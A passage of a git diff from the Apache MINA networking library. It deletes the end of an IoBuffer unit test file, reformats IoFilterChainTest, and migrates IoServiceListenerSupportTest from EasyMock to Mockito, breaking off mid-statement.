assertEquals(1, buf.position()); - - // Test a trailing garbage - buf.clear(); - buf.put((byte) 'A'); - buf.put((byte) 'B'); - buf.put((byte) 0); - buf.put((byte) 'C'); - buf.position(0); - assertEquals("AB", buf.getString(4, decoder)); - assertEquals(4, buf.position()); - - buf.clear(); - buf.fillAndReset(buf.limit()); - decoder = Charset.forName("UTF-16").newDecoder(); - buf.put((byte) 0); - buf.put((byte) 'A'); - buf.put((byte) 0); - buf.put((byte) 'B'); - buf.put((byte) 0); - buf.put((byte) 'C'); - buf.put((byte) 0); - buf.put((byte) 0); - - buf.position(0); - assertEquals("ABC", buf.getString(decoder)); - assertEquals(8, buf.position()); - - buf.position(0); - buf.limit(2); - assertEquals("A", buf.getString(decoder)); - assertEquals(2, buf.position()); - - buf.position(0); - buf.limit(3); - assertEquals("A", buf.getString(decoder)); - assertEquals(2, buf.position()); - - buf.clear(); - assertEquals("ABC", buf.getString(10, decoder)); - assertEquals(10, buf.position()); - - buf.clear(); - assertEquals("A", buf.getString(2, decoder)); - assertEquals(2, buf.position()); - - buf.clear(); - try { - buf.getString(1, decoder); - fail(); - } catch (IllegalArgumentException e) { - // Expected an Exception, signifies test success - assertTrue(true); - } - - // Test getting strings from an empty buffer. - buf.clear(); - buf.limit(0); - assertEquals("", buf.getString(decoder)); - assertEquals("", buf.getString(2, decoder)); - - // Test getting strings from non-empty buffer which is filled with 0x00 - buf.clear(); - buf.putInt(0); - buf.clear(); - buf.limit(4); - assertEquals("", buf.getString(decoder)); - assertEquals(2, buf.position()); - assertEquals(4, buf.limit()); - - buf.position(0); - assertEquals("", buf.getString(2, decoder)); - assertEquals(2, buf.position()); - assertEquals(4, buf.limit()); - } - - @Test - public void testGetStringWithFailure() throws Exception { - String test = "\u30b3\u30e1\u30f3\u30c8\u7de8\u96c6"; - IoBuffer buffer = IoBuffer.wrap(test.getBytes("Shift_JIS")); - - // Make sure the limit doesn't change when an exception arose. - int oldLimit = buffer.limit(); - int oldPos = buffer.position(); - try { - buffer.getString(3, Charset.forName("ASCII").newDecoder()); - fail(); - } catch (Exception e) { - assertEquals(oldLimit, buffer.limit()); - assertEquals(oldPos, buffer.position()); - } - - try { - buffer.getString(Charset.forName("ASCII").newDecoder()); - fail(); - } catch (Exception e) { - assertEquals(oldLimit, buffer.limit()); - assertEquals(oldPos, buffer.position()); - } - } - - @Test - public void testPutString() throws Exception { - CharsetEncoder encoder; - IoBuffer buf = IoBuffer.allocate(16); - encoder = Charset.forName("ISO-8859-1").newEncoder(); - - buf.putString("ABC", encoder); - assertEquals(3, buf.position()); - buf.clear(); - assertEquals('A', buf.get(0)); - assertEquals('B', buf.get(1)); - assertEquals('C', buf.get(2)); - - buf.putString("D", 5, encoder); - assertEquals(5, buf.position()); - buf.clear(); - assertEquals('D', buf.get(0)); - assertEquals(0, buf.get(1)); - - buf.putString("EFG", 2, encoder); - assertEquals(2, buf.position()); - buf.clear(); - assertEquals('E', buf.get(0)); - assertEquals('F', buf.get(1)); - assertEquals('C', buf.get(2)); // C may not be overwritten - - // UTF-16: We specify byte order to omit BOM. - encoder = Charset.forName("UTF-16BE").newEncoder(); - buf.clear(); - - buf.putString("ABC", encoder); - assertEquals(6, buf.position()); - buf.clear(); - - assertEquals(0, buf.get(0)); - assertEquals('A', buf.get(1)); - assertEquals(0, buf.get(2)); - assertEquals('B', buf.get(3)); - assertEquals(0, buf.get(4)); - assertEquals('C', buf.get(5)); - - buf.putString("D", 10, encoder); - assertEquals(10, buf.position()); - buf.clear(); - assertEquals(0, buf.get(0)); - assertEquals('D', buf.get(1)); - assertEquals(0, buf.get(2)); - assertEquals(0, buf.get(3)); - - buf.putString("EFG", 4, encoder); - assertEquals(4, buf.position()); - buf.clear(); - assertEquals(0, buf.get(0)); - assertEquals('E', buf.get(1)); - assertEquals(0, buf.get(2)); - assertEquals('F', buf.get(3)); - assertEquals(0, buf.get(4)); // C may not be overwritten - assertEquals('C', buf.get(5)); // C may not be overwritten - - // Test putting an emptry string - buf.putString("", encoder); - assertEquals(0, buf.position()); - buf.putString("", 4, encoder); - assertEquals(4, buf.position()); - assertEquals(0, buf.get(0)); - assertEquals(0, buf.get(1)); - } - - @Test - public void testGetPrefixedString() throws Exception { - IoBuffer buf = IoBuffer.allocate(16); - CharsetEncoder encoder; - CharsetDecoder decoder; - encoder = Charset.forName("ISO-8859-1").newEncoder(); - decoder = Charset.forName("ISO-8859-1").newDecoder(); - - buf.putShort((short) 3); - buf.putString("ABCD", encoder); - buf.clear(); - assertEquals("ABC", buf.getPrefixedString(decoder)); - } - - @Test - public void testPutPrefixedString() throws Exception { - CharsetEncoder encoder; - IoBuffer buf = IoBuffer.allocate(16); - buf.fillAndReset(buf.remaining()); - encoder = Charset.forName("ISO-8859-1").newEncoder(); - - // Without autoExpand - buf.putPrefixedString("ABC", encoder); - assertEquals(5, buf.position()); - assertEquals(0, buf.get(0)); - assertEquals(3, buf.get(1)); - assertEquals('A', buf.get(2)); - assertEquals('B', buf.get(3)); - assertEquals('C', buf.get(4)); - - buf.clear(); - try { - buf.putPrefixedString("123456789012345", encoder); - fail(); - } catch (BufferOverflowException e) { - // Expected an Exception, signifies test success - assertTrue(true); - } - - // With autoExpand - buf.clear(); - buf.setAutoExpand(true); - buf.putPrefixedString("123456789012345", encoder); - assertEquals(17, buf.position()); - assertEquals(0, buf.get(0)); - assertEquals(15, buf.get(1)); - assertEquals('1', buf.get(2)); - assertEquals('2', buf.get(3)); - assertEquals('3', buf.get(4)); - assertEquals('4', buf.get(5)); - assertEquals('5', buf.get(6)); - assertEquals('6', buf.get(7)); - assertEquals('7', buf.get(8)); - assertEquals('8', buf.get(9)); - assertEquals('9', buf.get(10)); - assertEquals('0', buf.get(11)); - assertEquals('1', buf.get(12)); - assertEquals('2', buf.get(13)); - assertEquals('3', buf.get(14)); - assertEquals('4', buf.get(15)); - assertEquals('5', buf.get(16)); - } - - @Test - public void testPutPrefixedStringWithPrefixLength() throws Exception { - CharsetEncoder encoder = Charset.forName("ISO-8859-1").newEncoder(); - IoBuffer buf = IoBuffer.allocate(16).sweep().setAutoExpand(true); - - buf.putPrefixedString("A", 1, encoder); - assertEquals(2, buf.position()); - assertEquals(1, buf.get(0)); - assertEquals('A', buf.get(1)); - - buf.sweep(); - buf.putPrefixedString("A", 2, encoder); - assertEquals(3, buf.position()); - assertEquals(0, buf.get(0)); - assertEquals(1, buf.get(1)); - assertEquals('A', buf.get(2)); - - buf.sweep(); - buf.putPrefixedString("A", 4, encoder); - assertEquals(5, buf.position()); - assertEquals(0, buf.get(0)); - assertEquals(0, buf.get(1)); - assertEquals(0, buf.get(2)); - assertEquals(1, buf.get(3)); - assertEquals('A', buf.get(4)); - } - - @Test - public void testPutPrefixedStringWithPadding() throws Exception { - CharsetEncoder encoder = Charset.forName("ISO-8859-1").newEncoder(); - IoBuffer buf = IoBuffer.allocate(16).sweep().setAutoExpand(true); - - buf.putPrefixedString("A", 1, 2, (byte) 32, encoder); - assertEquals(3, buf.position()); - assertEquals(2, buf.get(0)); - assertEquals('A', buf.get(1)); - assertEquals(' ', buf.get(2)); - - buf.sweep(); - buf.putPrefixedString("A", 1, 4, (byte) 32, encoder); - assertEquals(5, buf.position()); - assertEquals(4, buf.get(0)); - assertEquals('A', buf.get(1)); - assertEquals(' ', buf.get(2)); - assertEquals(' ', buf.get(3)); - assertEquals(' ', buf.get(4)); - } - - @Test - public void testWideUtf8Characters() throws Exception { - Runnable r = new Runnable() { - public void run() { - IoBuffer buffer = IoBuffer.allocate(1); - buffer.setAutoExpand(true); - - Charset charset = Charset.forName("UTF-8"); - - CharsetEncoder encoder = charset.newEncoder(); - - for (int i = 0; i < 5; i++) { - try { - buffer.putString("\u89d2", encoder); - buffer.putPrefixedString("\u89d2", encoder); - } catch (CharacterCodingException e) { - fail(e.getMessage()); - } - } - } - }; - - Thread t = new Thread(r); - t.setDaemon(true); - t.start(); - - for (int i = 0; i < 50; i++) { - Thread.sleep(100); - if (!t.isAlive()) { - break; - } - } - - if (t.isAlive()) { - t.interrupt(); - - fail("Went into endless loop trying to encode character"); - } - } - - @Test - public void testObjectSerialization() throws Exception { - IoBuffer buf = IoBuffer.allocate(16); - buf.setAutoExpand(true); - List o = new ArrayList(); - o.add(new Date()); - o.add(long.class); - - // Test writing an object. - buf.putObject(o); - - // Test reading an object. - buf.clear(); - Object o2 = buf.getObject(); - assertEquals(o, o2); - - // This assertion is just to make sure that deserialization occurred. - assertNotSame(o, o2); - } - - @Test - public void testInheritedObjectSerialization() throws Exception { - IoBuffer buf = IoBuffer.allocate(16); - buf.setAutoExpand(true); - - Bar expected = new Bar(); - expected.setFooValue(0x12345678); - expected.setBarValue(0x90ABCDEF); - - // Test writing an object. - buf.putObject(expected); - - // Test reading an object. - buf.clear(); - Bar actual = (Bar) buf.getObject(); - assertSame(Bar.class, actual.getClass()); - assertEquals(expected.getFooValue(), actual.getFooValue()); - assertEquals(expected.getBarValue(), actual.getBarValue()); - - // This assertion is just to make sure that deserialization occurred. - assertNotSame(expected, actual); - } - - @Test - public void testSweepWithZeros() throws Exception { - IoBuffer buf = IoBuffer.allocate(4); - buf.putInt(0xdeadbeef); - buf.clear(); - assertEquals(0xdeadbeef, buf.getInt()); - assertEquals(4, buf.position()); - assertEquals(4, buf.limit()); - - buf.sweep(); - assertEquals(0, buf.position()); - assertEquals(4, buf.limit()); - assertEquals(0x0, buf.getInt()); - } - - @Test - public void testSweepNonZeros() throws Exception { - IoBuffer buf = IoBuffer.allocate(4); - buf.putInt(0xdeadbeef); - buf.clear(); - assertEquals(0xdeadbeef, buf.getInt()); - assertEquals(4, buf.position()); - assertEquals(4, buf.limit()); - - buf.sweep((byte) 0x45); - assertEquals(0, buf.position()); - assertEquals(4, buf.limit()); - assertEquals(0x45454545, buf.getInt()); - } - - @Test - public void testWrapNioBuffer() throws Exception { - ByteBuffer nioBuf = ByteBuffer.allocate(10); - nioBuf.position(3); - nioBuf.limit(7); - - IoBuffer buf = IoBuffer.wrap(nioBuf); - assertEquals(3, buf.position()); - assertEquals(7, buf.limit()); - assertEquals(10, buf.capacity()); - } - - @Test - public void testWrapSubArray() throws Exception { - byte[] array = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; - - IoBuffer buf = IoBuffer.wrap(array, 3, 4); - assertEquals(3, buf.position()); - assertEquals(7, buf.limit()); - assertEquals(10, buf.capacity()); - - buf.clear(); - assertEquals(0, buf.position()); - assertEquals(10, buf.limit()); - assertEquals(10, buf.capacity()); - } - - @Test - public void testDuplicate() throws Exception { - IoBuffer original; - IoBuffer duplicate; - - // Test if the buffer is duplicated correctly. - original = IoBuffer.allocate(16).sweep(); - original.position(4); - original.limit(10); - duplicate = original.duplicate(); - original.put(4, (byte) 127); - assertEquals(4, duplicate.position()); - assertEquals(10, duplicate.limit()); - assertEquals(16, duplicate.capacity()); - assertNotSame(original.buf(), duplicate.buf()); - assertSame(original.buf().array(), duplicate.buf().array()); - assertEquals(127, duplicate.get(4)); - - // Test a duplicate of a duplicate. - original = IoBuffer.allocate(16); - duplicate = original.duplicate().duplicate(); - assertNotSame(original.buf(), duplicate.buf()); - assertSame(original.buf().array(), duplicate.buf().array()); - - // Try to expand. - original = IoBuffer.allocate(16); - original.setAutoExpand(true); - duplicate = original.duplicate(); - assertFalse(original.isAutoExpand()); - - try { - original.setAutoExpand(true); - fail("Derived buffers and their parent can't be expanded"); - } catch (IllegalStateException e) { - // Expected an Exception, signifies test success - assertTrue(true); - } - - try { - duplicate.setAutoExpand(true); - fail("Derived buffers and their parent can't be expanded"); - } catch (IllegalStateException e) { - // Expected an Exception, signifies test success - assertTrue(true); - } - } - - @Test - public void testSlice() throws Exception { - IoBuffer original; - IoBuffer slice; - - // Test if the buffer is sliced correctly. - original = IoBuffer.allocate(16).sweep(); - original.position(4); - original.limit(10); - slice = original.slice(); - original.put(4, (byte) 127); - assertEquals(0, slice.position()); - assertEquals(6, slice.limit()); - assertEquals(6, slice.capacity()); - assertNotSame(original.buf(), slice.buf()); - assertEquals(127, slice.get(0)); - } - - @Test - public void testReadOnlyBuffer() throws Exception { - IoBuffer original; - IoBuffer duplicate; - - // Test if the buffer is duplicated correctly. - original = IoBuffer.allocate(16).sweep(); - original.position(4); - original.limit(10); - duplicate = original.asReadOnlyBuffer(); - original.put(4, (byte) 127); - assertEquals(4, duplicate.position()); - assertEquals(10, duplicate.limit()); - assertEquals(16, duplicate.capacity()); - assertNotSame(original.buf(), duplicate.buf()); - assertEquals(127, duplicate.get(4)); - - // Try to expand. - try { - original = IoBuffer.allocate(16); - duplicate = original.asReadOnlyBuffer(); - duplicate.putString("A very very very very looooooong string", - Charset.forName("ISO-8859-1").newEncoder()); - fail("ReadOnly buffer's can't be expanded"); - } catch (ReadOnlyBufferException e) { - // Expected an Exception, signifies test success - assertTrue(true); - } - } - - @Test - public void testGetUnsigned() throws Exception { - IoBuffer buf = IoBuffer.allocate(16); - buf.put((byte) 0xA4); - buf.put((byte) 0xD0); - buf.put((byte) 0xB3); - buf.put((byte) 0xCD); - buf.flip(); - - buf.order(ByteOrder.LITTLE_ENDIAN); - - buf.mark(); - assertEquals(0xA4, buf.getUnsigned()); - buf.reset(); - assertEquals(0xD0A4, buf.getUnsignedShort()); - buf.reset(); - assertEquals(0xCDB3D0A4L, buf.getUnsignedInt()); - } - - @Test - public void testIndexOf() throws Exception { - boolean direct = false; - for (int i = 0; i < 2; i++, direct = !direct) { - IoBuffer buf = IoBuffer.allocate(16, direct); - buf.put((byte) 0x1); - buf.put((byte) 0x2); - buf.put((byte) 0x3); - buf.put((byte) 0x4); - buf.put((byte) 0x1); - buf.put((byte) 0x2); - buf.put((byte) 0x3); - buf.put((byte) 0x4); - buf.position(2); - buf.limit(5); - - assertEquals(4, buf.indexOf((byte) 0x1)); - assertEquals(-1, buf.indexOf((byte) 0x2)); - assertEquals(2, buf.indexOf((byte) 0x3)); - assertEquals(3, buf.indexOf((byte) 0x4)); - } - } - - // We need an enum with 64 values - private static enum TestEnum { - E1, E2, E3, E4, E5, E6, E7, E8, E9, E10, E11, E12, E13, E14, E15, E16, E17, E18, E19, E20, E21, E22, E23, E24, E25, E26, E27, E28, E29, E30, E31, E32, E33, E34, E35, E36, E37, E38, E39, E40, E41, E42, E43, E44, E45, E46, E77, E48, E49, E50, E51, E52, E53, E54, E55, E56, E57, E58, E59, E60, E61, E62, E63, E64 - } - - private static enum TooBigEnum { - E1, E2, E3, E4, E5, E6, E7, E8, E9, E10, E11, E12, E13, E14, E15, E16, E17, E18, E19, E20, E21, E22, E23, E24, E25, E26, E27, E28, E29, E30, E31, E32, E33, E34, E35, E36, E37, E38, E39, E40, E41, E42, E43, E44, E45, E46, E77, E48, E49, E50, E51, E52, E53, E54, E55, E56, E57, E58, E59, E60, E61, E62, E63, E64, E65 - } - - @Test - public void testPutEnumSet() { - IoBuffer buf = IoBuffer.allocate(8); - - // Test empty set - buf.putEnumSet(EnumSet.noneOf(TestEnum.class)); - buf.flip(); - assertEquals(0, buf.get()); - - buf.clear(); - buf.putEnumSetShort(EnumSet.noneOf(TestEnum.class)); - buf.flip(); - assertEquals(0, buf.getShort()); - - buf.clear(); - buf.putEnumSetInt(EnumSet.noneOf(TestEnum.class)); - buf.flip(); - assertEquals(0, buf.getInt()); - - buf.clear(); - buf.putEnumSetLong(EnumSet.noneOf(TestEnum.class)); - buf.flip(); - assertEquals(0, buf.getLong()); - - // Test complete set - buf.clear(); - buf.putEnumSet(EnumSet.range(TestEnum.E1, TestEnum.E8)); - buf.flip(); - assertEquals((byte) -1, buf.get()); - - buf.clear(); - buf.putEnumSetShort(EnumSet.range(TestEnum.E1, TestEnum.E16)); - buf.flip(); - assertEquals((short) -1, buf.getShort()); - - buf.clear(); - buf.putEnumSetInt(EnumSet.range(TestEnum.E1, TestEnum.E32)); - buf.flip(); - assertEquals(-1, buf.getInt()); - - buf.clear(); - buf.putEnumSetLong(EnumSet.allOf(TestEnum.class)); - buf.flip(); - assertEquals(-1L, buf.getLong()); - - // Test high bit set - buf.clear(); - buf.putEnumSet(EnumSet.of(TestEnum.E8)); - buf.flip(); - assertEquals(Byte.MIN_VALUE, buf.get()); - - buf.clear(); - buf.putEnumSetShort(EnumSet.of(TestEnum.E16)); - buf.flip(); - assertEquals(Short.MIN_VALUE, buf.getShort()); - - buf.clear(); - buf.putEnumSetInt(EnumSet.of(TestEnum.E32)); - buf.flip(); - assertEquals(Integer.MIN_VALUE, buf.getInt()); - - buf.clear(); - buf.putEnumSetLong(EnumSet.of(TestEnum.E64)); - buf.flip(); - assertEquals(Long.MIN_VALUE, buf.getLong()); - - // Test high low bits set - buf.clear(); - buf.putEnumSet(EnumSet.of(TestEnum.E1, TestEnum.E8)); - buf.flip(); - assertEquals(Byte.MIN_VALUE + 1, buf.get()); - - buf.clear(); - buf.putEnumSetShort(EnumSet.of(TestEnum.E1, TestEnum.E16)); - buf.flip(); - assertEquals(Short.MIN_VALUE + 1, buf.getShort()); - - buf.clear(); - buf.putEnumSetInt(EnumSet.of(TestEnum.E1, TestEnum.E32)); - buf.flip(); - assertEquals(Integer.MIN_VALUE + 1, buf.getInt()); - - buf.clear(); - buf.putEnumSetLong(EnumSet.of(TestEnum.E1, TestEnum.E64)); - buf.flip(); - assertEquals(Long.MIN_VALUE + 1, buf.getLong()); - } - - @Test - public void testGetEnumSet() { - IoBuffer buf = IoBuffer.allocate(8); - - // Test empty set - buf.put((byte) 0); - buf.flip(); - assertEquals(EnumSet.noneOf(TestEnum.class), buf - .getEnumSet(TestEnum.class)); - - buf.clear(); - buf.putShort((short) 0); - buf.flip(); - assertEquals(EnumSet.noneOf(TestEnum.class), buf - .getEnumSet(TestEnum.class)); - - buf.clear(); - buf.putInt(0); - buf.flip(); - assertEquals(EnumSet.noneOf(TestEnum.class), buf - .getEnumSet(TestEnum.class)); - - buf.clear(); - buf.putLong(0L); - buf.flip(); - assertEquals(EnumSet.noneOf(TestEnum.class), buf - .getEnumSet(TestEnum.class)); - - // Test complete set - buf.clear(); - buf.put((byte) -1); - buf.flip(); - assertEquals(EnumSet.range(TestEnum.E1, TestEnum.E8), buf - .getEnumSet(TestEnum.class)); - - buf.clear(); - buf.putShort((short) -1); - buf.flip(); - assertEquals(EnumSet.range(TestEnum.E1, TestEnum.E16), buf - .getEnumSetShort(TestEnum.class)); - - buf.clear(); - buf.putInt(-1); - buf.flip(); - assertEquals(EnumSet.range(TestEnum.E1, TestEnum.E32), buf - .getEnumSetInt(TestEnum.class)); - - buf.clear(); - buf.putLong(-1L); - buf.flip(); - assertEquals(EnumSet.allOf(TestEnum.class), buf - .getEnumSetLong(TestEnum.class)); - - // Test high bit set - buf.clear(); - buf.put(Byte.MIN_VALUE); - buf.flip(); - assertEquals(EnumSet.of(TestEnum.E8), buf.getEnumSet(TestEnum.class)); - - buf.clear(); - buf.putShort(Short.MIN_VALUE); - buf.flip(); - assertEquals(EnumSet.of(TestEnum.E16), buf - .getEnumSetShort(TestEnum.class)); - - buf.clear(); - buf.putInt(Integer.MIN_VALUE); - buf.flip(); - assertEquals(EnumSet.of(TestEnum.E32), buf - .getEnumSetInt(TestEnum.class)); - - buf.clear(); - buf.putLong(Long.MIN_VALUE); - buf.flip(); - assertEquals(EnumSet.of(TestEnum.E64), buf - .getEnumSetLong(TestEnum.class)); - - // Test high low bits set - buf.clear(); - byte b = Byte.MIN_VALUE + 1; - buf.put(b); - buf.flip(); - assertEquals(EnumSet.of(TestEnum.E1, TestEnum.E8), buf - .getEnumSet(TestEnum.class)); - - buf.clear(); - short s = Short.MIN_VALUE + 1; - buf.putShort(s); - buf.flip(); - assertEquals(EnumSet.of(TestEnum.E1, TestEnum.E16), buf - .getEnumSetShort(TestEnum.class)); - - buf.clear(); - buf.putInt(Integer.MIN_VALUE + 1); - buf.flip(); - assertEquals(EnumSet.of(TestEnum.E1, TestEnum.E32), buf - .getEnumSetInt(TestEnum.class)); - - buf.clear(); - buf.putLong(Long.MIN_VALUE + 1); - buf.flip(); - assertEquals(EnumSet.of(TestEnum.E1, TestEnum.E64), buf - .getEnumSetLong(TestEnum.class)); - } - - @Test - public void testBitVectorOverFlow() { - IoBuffer buf = IoBuffer.allocate(8); - try { - buf.putEnumSet(EnumSet.of(TestEnum.E9)); - fail("Should have thrown IllegalArgumentException"); - } catch (IllegalArgumentException e) { - // Expected an Exception, signifies test success - assertTrue(true); - } - - try { - buf.putEnumSetShort(EnumSet.of(TestEnum.E17)); - fail("Should have thrown IllegalArgumentException"); - } catch (IllegalArgumentException e) { - // Expected an Exception, signifies test success - assertTrue(true); - } - - try { - buf.putEnumSetInt(EnumSet.of(TestEnum.E33)); - fail("Should have thrown IllegalArgumentException"); - } catch (IllegalArgumentException e) { - // Expected an Exception, signifies test success - assertTrue(true); - } - - try { - buf.putEnumSetLong(EnumSet.of(TooBigEnum.E65)); - fail("Should have thrown IllegalArgumentException"); - } catch (IllegalArgumentException e) { - // Expected an Exception, signifies test success - assertTrue(true); - } - } - - @Test - public void testGetPutEnum() { - IoBuffer buf = IoBuffer.allocate(4); - - buf.putEnum(TestEnum.E64); - buf.flip(); - assertEquals(TestEnum.E64, buf.getEnum(TestEnum.class)); - - buf.clear(); - buf.putEnumShort(TestEnum.E64); - buf.flip(); - assertEquals(TestEnum.E64, buf.getEnumShort(TestEnum.class)); - - buf.clear(); - buf.putEnumInt(TestEnum.E64); - buf.flip(); - assertEquals(TestEnum.E64, buf.getEnumInt(TestEnum.class)); - } - - @Test - public void testGetMediumInt() { - IoBuffer buf = IoBuffer.allocate(3); - - buf.put((byte) 0x01); - buf.put((byte) 0x02); - buf.put((byte) 0x03); - assertEquals(3, buf.position()); - - buf.flip(); - assertEquals(0x010203, buf.getMediumInt()); - assertEquals(0x010203, buf.getMediumInt(0)); - buf.flip(); - assertEquals(0x010203, buf.getUnsignedMediumInt()); - assertEquals(0x010203, buf.getUnsignedMediumInt(0)); - buf.flip(); - assertEquals(0x010203, buf.getUnsignedMediumInt()); - buf.flip().order(ByteOrder.LITTLE_ENDIAN); - assertEquals(0x030201, buf.getMediumInt()); - assertEquals(0x030201, buf.getMediumInt(0)); - - // Test max medium int - buf.flip().order(ByteOrder.BIG_ENDIAN); - buf.put((byte) 0x7f); - buf.put((byte) 0xff); - buf.put((byte) 0xff); - buf.flip(); - assertEquals(0x7fffff, buf.getMediumInt()); - assertEquals(0x7fffff, buf.getMediumInt(0)); - - // Test negative number - buf.flip().order(ByteOrder.BIG_ENDIAN); - buf.put((byte) 0xff); - buf.put((byte) 0x02); - buf.put((byte) 0x03); - buf.flip(); - - assertEquals(0xffff0203, buf.getMediumInt()); - assertEquals(0xffff0203, buf.getMediumInt(0)); - buf.flip(); - - assertEquals(0x00ff0203, buf.getUnsignedMediumInt()); - assertEquals(0x00ff0203, buf.getUnsignedMediumInt(0)); - } - - @Test - public void testPutMediumInt() { - IoBuffer buf = IoBuffer.allocate(3); - - checkMediumInt(buf, 0); - checkMediumInt(buf, 1); - checkMediumInt(buf, -1); - checkMediumInt(buf, 0x7fffff); - } - - private void checkMediumInt(IoBuffer buf, int x) { - buf.putMediumInt(x); - assertEquals(3, buf.position()); - buf.flip(); - assertEquals(x, buf.getMediumInt()); - assertEquals(3, buf.position()); - - buf.putMediumInt(0, x); - assertEquals(3, buf.position()); - assertEquals(x, buf.getMediumInt(0)); - - buf.flip(); - } -} diff --git a/mina-core/src/test/java/org/apache/mina/core/IoFilterChainTest.java b/mina-core/src/test/java/org/apache/mina/core/IoFilterChainTest.java index 04dc8fa5d8..3c76e69e7d 100644 --- a/mina-core/src/test/java/org/apache/mina/core/IoFilterChainTest.java +++ b/mina-core/src/test/java/org/apache/mina/core/IoFilterChainTest.java @@ -46,7 +46,9 @@ */ public class IoFilterChainTest { private DummySession dummySession; + private IoFilterChain chain; + String testResult; private final IoHandler handler = new IoHandlerAdapter() { @@ -202,8 +204,7 @@ public void testDefault() { public void testChained() throws Exception { chain.addLast("A", new EventOrderTestFilter('A')); chain.addLast("B", new EventOrderTestFilter('B')); - run("AS0 BS0 HS0" + "ASO BSO HSO" + "AMR BMR HMR" - + "BFW AFW AMS BMS HMS" + "ASI BSI HSI" + "AEC BEC HEC" + run("AS0 BS0 HS0" + "ASO BSO HSO" + "AMR BMR HMR" + "BFW AFW AMS BMS HMS" + "ASI BSI HSI" + "AEC BEC HEC" + "ASC BSC HSC"); } @@ -228,7 +229,7 @@ private void run(String expectedResult) { chain.fireSessionClosed(); testResult = formatResult(testResult); - String formatedExpectedResult = formatResult(expectedResult); + String formatedExpectedResult = formatResult(expectedResult); assertEquals(formatedExpectedResult, testResult); } @@ -236,10 +237,10 @@ private void run(String expectedResult) { private String formatResult(String result) { String newResult = result.replaceAll("\\s", ""); StringBuilder buf = new StringBuilder(newResult.length() * 4 / 3); - + for (int i = 0; i < newResult.length(); i++) { buf.append(newResult.charAt(i)); - + if (i % 3 == 2) { buf.append(' '); } @@ -274,43 +275,37 @@ public void sessionClosed(NextFilter nextFilter, IoSession session) { } @Override - public void sessionIdle(NextFilter nextFilter, IoSession session, - IdleStatus status) { + public void sessionIdle(NextFilter nextFilter, IoSession session, IdleStatus status) { testResult += id + "SI"; nextFilter.sessionIdle(session, status); } @Override - public void exceptionCaught(NextFilter nextFilter, IoSession session, - Throwable cause) { + public void exceptionCaught(NextFilter nextFilter, IoSession session, Throwable cause) { testResult += id + "EC"; nextFilter.exceptionCaught(session, cause); } @Override - public void filterWrite(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) { + public void filterWrite(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) { testResult += id + "FW"; nextFilter.filterWrite(session, writeRequest); } @Override - public void messageReceived(NextFilter nextFilter, IoSession session, - Object message) { + public void messageReceived(NextFilter nextFilter, IoSession session, Object message) { testResult += id + "MR"; nextFilter.messageReceived(session, message); } @Override - public void messageSent(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) { + public void messageSent(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) { testResult += id + "MS"; nextFilter.messageSent(session, writeRequest); } @Override - public void filterClose(NextFilter nextFilter, IoSession session) - throws Exception { + public void filterClose(NextFilter nextFilter, IoSession session) throws Exception { nextFilter.filterClose(session); } } @@ -322,16 +317,14 @@ private class AddRemoveTestFilter extends IoFilterAdapter { public AddRemoveTestFilter() { super(); } - + @Override - public void onPostAdd(IoFilterChain parent, String name, - NextFilter nextFilter) { + public void onPostAdd(IoFilterChain parent, String name, NextFilter nextFilter) { testResult += "ADDED"; } @Override - public void onPostRemove(IoFilterChain parent, String name, - NextFilter nextFilter) { + public void onPostRemove(IoFilterChain parent, String name, NextFilter nextFilter) { testResult += "REMOVED"; } } diff --git a/mina-core/src/test/java/org/apache/mina/core/IoServiceListenerSupportTest.java b/mina-core/src/test/java/org/apache/mina/core/IoServiceListenerSupportTest.java index 95c59e8f80..6eac3b8ad9 100644 --- a/mina-core/src/test/java/org/apache/mina/core/IoServiceListenerSupportTest.java +++ b/mina-core/src/test/java/org/apache/mina/core/IoServiceListenerSupportTest.java @@ -19,6 +19,11 @@ */ package org.apache.mina.core; +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertSame; +import static org.junit.Assert.assertTrue; + import java.net.InetSocketAddress; import java.net.SocketAddress; @@ -29,13 +34,14 @@ import org.apache.mina.core.service.IoServiceListener; import org.apache.mina.core.service.IoServiceListenerSupport; import org.apache.mina.core.session.DummySession; -import org.easymock.EasyMock; -import org.junit.Test; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.reset; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.assertNull; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertSame; +import org.junit.Test; /** * Tests {@link IoServiceListenerSupport}. @@ -45,86 +51,123 @@ public class IoServiceListenerSupportTest { private static final SocketAddress ADDRESS = new InetSocketAddress(8080); - private final IoService mockService = EasyMock.createMock(IoService.class); + private final IoService mockService = mock(IoService.class); @Test public void testServiceLifecycle() throws Exception { - IoServiceListenerSupport support = new IoServiceListenerSupport( - mockService); + IoServiceListenerSupport support = new IoServiceListenerSupport(mockService); - IoServiceListener listener = EasyMock.createStrictMock(IoServiceListener.class); + IoServiceListener listener = mock(IoServiceListener.class); - // Test activation + // Test direct activation listener.serviceActivated(mockService); - EasyMock.replay(listener); + // Check the serviceActivated method has been called + verify(listener).serviceActivated(mockService); + + // Reset the mock now. + reset(listener); + // Use a IoServiceListener support + // The listener.serviceActivated() method should be called support.add(listener); support.fireServiceActivated(); - EasyMock.verify(listener); + // Check the serviceActivated method has been called for the listener through the support call + verify(listener).serviceActivated(mockService); // Test deactivation & other side effects - EasyMock.reset(listener); + // First reset the functions calles + reset(listener); + listener.serviceDeactivated(mockService); - EasyMock.replay(listener); - //// Activate more than once + // Check the serviceDeactivated method has been called + verify(listener).serviceDeactivated(mockService); + + // Try to active the service which has been deactivated. Should not be possible support.fireServiceActivated(); - //// Deactivate + + // Should do nothing as the service has been deactivated + verify(listener, never()).serviceActivated(mockService); + + // Deactivate through the support again support.fireServiceDeactivated(); - //// Deactivate more than once + + // The listener method should be called a second time + verify(listener, times(2)).serviceDeactivated(mockService); + + // Deactivate more than once. Should do nothing support.fireServiceDeactivated(); - EasyMock.verify(listener); + // Check the serviceActivated method has not been called again + verify(listener, never()).serviceActivated(mockService); + + // The serviceDeactivated method should not have been called again either + verify(listener, times(2)).serviceDeactivated(mockService); } @Test public void testSessionLifecycle() throws Exception { - IoServiceListenerSupport support = new 